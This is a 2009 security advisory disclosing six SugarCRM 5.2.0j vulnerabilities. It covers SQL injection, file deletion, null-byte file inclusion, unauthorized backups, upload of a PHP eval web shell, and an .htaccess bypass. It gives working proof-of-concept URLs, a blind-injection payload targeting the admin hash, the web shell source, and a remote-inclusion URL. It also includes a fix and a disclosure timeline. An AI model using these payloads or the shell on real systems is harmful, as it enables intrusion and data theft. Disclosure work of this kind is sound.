Author: Janek Vind "waraxe"
Date: 22. November 2009
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-76.html
Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Commercial open source customer relationship management (CRM).
CRM software for sales force automation and customer support deployed on demand
or on site.
http://www.sugarcrm.com/
List of found vulnerabilities
===============================================================================
Affected are versions 5.2.0j and 5.5.0.RC2, older versions may be vulnerable
as well.
###############################################################################
1. Sql Injection in SugarCRM 5.2.0j
###############################################################################
Reason: using unsanitized user submitted data in sql queries
Attack vector: user submitted parameter "current_query_by_page"
Preconditions: attacker must be logged in as valid user
Let's look at the function "listViewPrepare()" in "include/MVC/View/views/view.list.php" line~64:
-----------------[ source code start ]---------------------------------
function listViewPrepare(){
...
if(!empty($this->bean->object_name) && isset($_REQUEST[$module.'2_'.strtoupper($this->bean->object_name).'_offset']))
...
$current_query_by_page = unserialize(base64_decode($_REQUEST['current_query_by_page']));
foreach($current_query_by_page as $search_key=>$search_value) {
if($search_key != $module.'2_'.strtoupper($this->bean->object_name).'_offset' && !in_array($search_key, $blockVariables)) {
$_REQUEST[$search_key] = $search_value;
-----------------[ source code end ]-----------------------------------
We can see, that user submitted parameter "current_query_by_page" will be base64 decoded
and then unserialized. Next code fragment will assign resulting array keys and values
to the $_REQUEST superglobal array. So it is obvious, that attacker can use base64 encoding
and bypass magic_quotes_gpc and other possible sanitization obstacles and still poison $_REQUEST array
with potentially malicious variables.
Next let's track use of the $_REQUEST array:
-----------------[ source code start ]---------------------------------
if(!empty($_REQUEST['saved_search_select']) && $_REQUEST['saved_search_select']!='_none') {
if(empty($_REQUEST['button']) && (empty($_REQUEST['clear_query']) || $_REQUEST['clear_query']!='true')) {
$this->saved_search = loadBean('SavedSearch');
$this->saved_search->retrieveSavedSearch($_REQUEST['saved_search_select']);;
-----------------[ source code end ]-----------------------------------
As seen from above code snippet, $_REQUEST['saved_search_select'] is used as argument for
function "retrieveSavedSearch()". Source code of the "retrieveSavedSearch()":
-----------------[ source code start ]---------------------------------
function retrieveSavedSearch($id) {
parent::retrieve($id);
$this->contents = unserialize(base64_decode($this->contents));
}
-----------------[ source code end ]-----------------------------------
... and next:
-----------------[ source code start ]---------------------------------
function retrieve($id = -1, $encode=true,$deleted=true)
{
...
if($custom_join)
{
$query = "SELECT $this->table_name.*". $custom_join['select']. " FROM $this->table_name ";
}
else
{
$query = "SELECT $this->table_name.* FROM $this->table_name ";
}
...
$query .= " WHERE $this->table_name.id = '$id' ";
if ($deleted) $query .= " AND $this->table_name.deleted=0";
...
$result = $this->db->limitQuery($query,0,1,true, "Retrieving record by id $this->table_name:$id found ");
...
$row = $this->db->fetchByAssoc($result, -1, $encode);
-----------------[ source code end ]-----------------------------------
Sql injection seems to be possible. Now let's search for ways to exploit this issue.
Affected "listViewPrepare()" is used in function "display()":
-----------------[ source code start ]---------------------------------
function display(){
if(!$this->bean->ACLAccess('list')){
ACLController::displayNoAccess();
} else {
$this->listViewPrepare();
$this->listViewProcess();
}
}
-----------------[ source code end ]-----------------------------------
Function "display()" is used and is exploitable in multiple places in SugarCRM source code.
For proof of concept let's try Projects module. First step is logging in as valid user.
Then one must issue GET request:
http://localhost/sugarce520j/index.php?module=Project&action=index&Project2_PROJECT_offset=1¤t_query_by_page=YToxOntzOjE5OiJzYXZlZF9zZWFyY2hfc2VsZWN0IjtzOjc6IndhcidheGUiO30=
... and we can see sql error message:
Retrieving record by id saved_search:war'axe
Query Failed:SELECT saved_search.* FROM saved_search WHERE saved_search.id = 'war'axe' AND
saved_search.deleted=0 LIMIT 0,1::MySQL error 1064: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use
near 'axe' AND saved_search.deleted=0 LIMIT 0,1' at line 1
Mailicious GET parameter "current_query_by_page" is base64 encoded string:
YToxOntzOjE5OiJzYXZlZF9zZWFyY2hfc2VsZWN0IjtzOjc6IndhcidheGUiO30=
Original string is serialized php array:
a:1:{s:19:"saved_search_select";s:5:"war'axe";}
So after described proof of concept test existence of sql injection is confirmed.
Now about exploitability - blind sql injection methods must be use in order to exploit
this specific vulnerability. "BENCHMARK()" or "SLEEP()" mysql functions are traditional
ways to exploit blind injections, but this specific vulnerability can be exploited in
better way, because we have visual error feedback.
Example of serialized array, which can be used in such exploitation method:
a:1:{s:19:"saved_search_select";s:120:"z' OR IF((SELECT ORD(SUBSTR(user_hash,1,1)) FROM
users WHERE user_name='admin')>51,(SELECT 1 UNION ALL SELECT 1),1)>1-- ";}
As said before, attack can be done via multiple different modules, not only "Project".
Below is a list of possible attack pathways:
http://localhost/sugarce520j/index.php?module=Opportunities&action=index
Opportunities2_OPPORTUNITY_offset
http://localhost/sugarce520j/index.php?module=Project&action=index
Project2_PROJECT_offset
http://localhost/sugarce520j/index.php?module=Cases&action=index
Cases2_CASE_offset
http://localhost/sugarce520j/index.php?module=Bugs&action=index
Bugs2_BUG_offset
http://localhost/sugarce520j/index.php?module=Tasks
Tasks2_TASK_offset
http://localhost/sugarce520j/index.php?module=Meetings&action=index&return_module=Meetings&return_action=DetailView
Meetings2_MEETING_offset
http://localhost/sugarce520j/index.php?module=Calls&action=index&return_module=Calls&return_action=DetailView
Calls2_CALL_offset
http://localhost/sugarce520j/index.php?module=Notes&action=index&return_module=Notes&return_action=DetailView
Notes2_NOTE_offset
###############################################################################
2. Remote File Deletion in SugarCRM 5.2.0j
###############################################################################
Reasons:
weak access control in administration functionality
using unsanitized user submitted data
Attack vector: user submitted parameter "file"
Preconditions: attacker must be logged in as valid user
Logging in is needed first for testing. Then let's issue GET request:
http://localhost/sugarce520j/index.php?entryPoint=HandleAjaxCall&method=remove&file=waraxe
... and we can see php error message:
Warning: unlink(waraxe) [function.unlink]: No such file or directory in
C:apache_wwwrootsugarce520jModuleInstallPackageManagerPackageController.php on line 379
For example, if attacker wants to delete SugarCRM error log file:
http://localhost/sugarce520j/index.php?entryPoint=HandleAjaxCall&method=remove&file=sugarcrm.log
result = {"result":"true"} --> log file is gone ...
Function "remove()" in "ModuleInstall/PackageManager/PackageController.php" line~367:
-----------------[ source code start ]---------------------------------
function remove(){
require_once('include/json_config.php');
$json_config = new json_config();
$json = getJSONobj();
$file = '';
if(isset($_REQUEST['file'])) {
$file = urldecode(nl2br($_REQUEST['file']));
}
$GLOBALS['log']->debug("FILE TO REMOVE: ".$file);
if(!empty($file)){
unlink($file);
}
echo 'result = ' . $json->encode(array('result' => 'true'));
}
-----------------[ source code end ]-----------------------------------
As we can see, user submitted parameter "file" is used directly, without any sanitization
in php function "unlink()". This specific Ajax function seems to be needed only for
administration level user, but there is no access control anywhere, which should restrict
non-admin users. And even for admins such way of file unlinking is way too insecure.
There must be strict filename sanitization in place!
###############################################################################
3. Remote File Inclusion / Remote File Dislosure in SugarCRM 5.2.0j
###############################################################################
Reasons:
weak access control in administration functionality
using unsanitized user submitted data
Attack vector: user submitted parameter "file"
Preconditions:
attacker must be logged in as valid user
allow_url_include = On (php >= 5.2.0)
allow_url_fopen = On (php < 5.2.0 )
Logging in is needed first for testing. Then let's issue GET request:
http://localhost/sugarce520j/index.php?entryPoint=HandleAjaxCall&method=performInstall&file=waraxe.txt%2500.zip
... and we can see php error message:
Warning: PackageManager::include(waraxe.txt) [packagemanager.include]:
failed to open stream: No such file or directory in
C:apache_wwwrootsugarce520jModuleInstallPackageManagerPackageManager.php on line 534
http://localhost/sugarce520j/index.php?entryPoint=HandleAjaxCall&method=performInstall&file=.htaccess%2500.zip
... and we have ".htaccess" file source.
http://localhost/sugarce520j/index.php?entryPoint=HandleAjaxCall&method=performInstall&file=http://www.yahoo.com/shell.php%2500.zip
... and php gives error message:
Warning: PackageManager::include() [packagemanager.include]:
URL file-access is disabled in the server configuration in
C:apache_wwwrootsugarce520jModuleInstallPackageManagerPackageManager.php on line 534
Function "performInstall()" in "ModuleInstall/PackageManager/PackageController.php" line~367:
-----------------[ source code start ]---------------------------------
function performInstall(){
$file = '';
if(isset($_REQUEST['file'])) {
$file = nl2br($_REQUEST['file']);
}
$file = urldecode($file);
$this->_pm->performInstall($file);
require_once('include/json_config.php');
$json_config = new json_config();
$json = getJSONobj();
echo 'result = ' . $json->encode(array('result' => 'success'));
}
-----------------[ source code end ]-----------------------------------
As seen above, user submitted parameter "file" is used without any sanitization as argument
for function "_pm->performInstall()" in "ModuleInstall/PackageManager/PackageManager.php" line~518:
-----------------[ source code start ]---------------------------------
function performInstall($file, $silent=true){
...
if(preg_match("#.*.zip$#", $file)) {
$GLOBALS['log']->debug("1: ".$file);
// handle manifest.php
$target_manifest = remove_file_extension( $file ) . '-manifest.php';
include($target_manifest);
}
-----------------[ source code end ]-----------------------------------
We can see, how this function first checks that filename ends as ".zip"
and then replaces ".zip" with "-manifest.php", which finally will be used for inclusion.
Attacker is able to use null byte tricks combined with double url encoding.
If we look at first source code snippet above, then use of "urldecode()" can be spotted.
This means double url encoding possibilities for attacker.
So if we provide filename as ".htaccess%2500.zip", then after "urldecode()" it becomes
to the ".htaccess[NUL].zip", where [NUL] is binary zero. Function "preg_match()" sees
".zip" as ending of the filename, so we can bypass this specific sanity check.
Function "remove_file_extension()" does replace file extension, as result we will have
".htaccess[NUL]-manifest.php", which finally is used as argument for php function "include()".
Function "include()" passes this string to lower levels (operating system), where injected
NULL byte (binary zero) will be treated as end of string. So for underlying filesystem
functionality the filename is actually ".htaccess".
###############################################################################
4. Unauthorized Site Backup Creation Vulnerability in SugarCRM 5.2.0j
###############################################################################
Reasons: weak access control in administration functionality
Attack vector: -
Preconditions: attacker must be logged in as valid user
Any logged-in user can use SugarCRM Site Backup functionality:
http://localhost/sugarce520j/index.php?module=Administration&action=Backups
There is missing needed access control to prevent non-admins from creating
website backups.
Proof Of Concept:
http://localhost/sugarce520j/index.php?module=Administration&action=Backups&run=confirmed&backup_dir=./data/upload&backup_zip=test.zip
and we will see message about successful backup creation operation:
Backup successfully stored as ./data/upload/test.zip (15503400 bytes).
Fresh backup file can be accessed for downloading via URI as following:
http://localhost/sugarce520j/data/upload/test.zip
This specific security vulnerability gives attacker possibility to read
the contents of all files on SugarCRM website, revealing possible sensitive
information. For example file "config.php" contains plaintext database credentials:
'dbconfig' =>
array (
'db_host_name' => 'localhost',
'db_host_instance' => 'SQLEXPRESS',
'db_user_name' => 'test_mysql_user',
'db_password' => 'test_mysql_pass',
'db_name' => 'sugarce520',
'db_type' => 'mysql',
),
###############################################################################
5. Remote File Upload Vulnerability in SugarCRM 5.2.0j
###############################################################################
Reasons:
1. missing access control in administration functionality
Attack vector: uploaded file
Preconditions: attacker must be logged in as valid user
http://localhost/sugarce520j/index.php?module=Administration&action=UpgradeWizard&view=default
Steps for Proof Of Concept:
1. write php file "manifest.php" with source as below:
-------------------------------------------------------------
<?php
if(isset($_REQUEST['c']))
{
$c = $_REQUEST['c'];
if(get_magic_quotes_gpc())
{
$c = stripslashes($c);
}
eval($c);
}
else
{
echo 'Location: ' . __file__;
}
exit;
?>
-------------------------------------------------------------
2. pack "manifest.php" to zip file, for example "test.zip"
3. upload as upgrade, using SugarCRM Upgrade Wizard:
http://localhost/sugarce520j/index.php?module=Administration&action=UpgradeWizard&view=default
4. we can see error message:
Issue with the manifest
Scanning Package
Installation failed!
File Issues
C:apache_wwwrootsugarce520jcacheuploadupgrades emp3170.tmpmanifest.php
Invalid usage of a function eval()
So it appears, that package installation failed because of the blacklisted function
"eval". Still php file "manifest.php" was successfully uploaded and we now even
know it's exact location:
http://localhost/sugarce520j/cache/upload/upgrades/temp/3170.tmp/manifest.php
Direct access is problematic because of the restrictive .htaccess:
RedirectMatch 403 /+cache/+upload
so we get erroneus response:
403
Forbidden
You don't have permission to access /sugarce520j/cache/upload/upgrades/temp/3170.tmp/manifest.php on this server.
Still, there are many ways to exploit this security vulnerability
1. in case of Windows/Apache platform we can bypass .htaccess pattern matching:
http://localhost/sugarce520j/Cache/upload/upgrades/temp/3170.tmp/manifest.php?c=phpinfo();
2. many dangerous functions are not blacklisted, for example:
include(), require() --> can be used for Remote File Inclusion, Local File Inclusion
and Remote File Disclosure.
popen, proc_open --> direct access to the operating system shell
mysql-related functions--> database manipulation is possible
###############################################################################
6. File Access Restrictions Bypass Vulnerability in SugarCRM 5.2.0j
###############################################################################
Reasons: .htaccess rules are case sensitive and may be bypassed
Attack vector: -
Preconditions: Windows/Apache platform
SugarCRM prevents direct access to some of the files using ".htaccess":
-----------------[ source code start ]---------------------------------
# BEGIN SUGARCRM RESTRICTIONS
RedirectMatch 403 ^.*.log$
RedirectMatch 403 /+not_imported_.*.txt
RedirectMatch 403 /+(soap|cache|xtemplate|data|examples|include|log4php|metadata|modules)/+.*.(php|tpl)
RedirectMatch 403 /+emailmandelivery.php
RedirectMatch 403 /+cache/+upload
RedirectMatch 403 /+files.md5$
# END SUGARCRM RESTRICTIONS
-----------------[ source code end ]-----------------------------------
Indeed, if one tries to access "install.log":
http://localhost/sugarce520j/install.log
then server responds with 403 Access Denied.
If SugarCRM website is hosted on Windows server, then attacker is able to bypass
access restrictions by using uppercase characters instead of lowercase:
http://localhost/sugarce520j/install.Log
http://localhost/sugarce520j/sugarcrm.Log
and we can see installation and application logs.
Reason for this access restrictions bypass is based on the fact,
that specific ruleset in ".htaccess" is case-sensitive, but Apache on Windows
platform is case-insensitive regarding filenames.
How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Upgrade to new version 5.2.0k
Disclosure Timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
10/22/09 Developer contacted
10/22/09 Developer's initial response
10/22/09 Fidings sent to developer
10/28/09 Patched version 5.2.0k released by developer
11/22/09 Public disclosure
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, str0ke,
to all active waraxe.us forum members and to anyone else who know me!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe@yahoo.com
Janek Vind "waraxe"
Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
---------------------------------- [ EOF ] ------------------------------------
Copyright © by Waraxe IT Security Portal All Right Reserved.
Published on: 2009-11-22 (13403 reads)
[ Go Back ]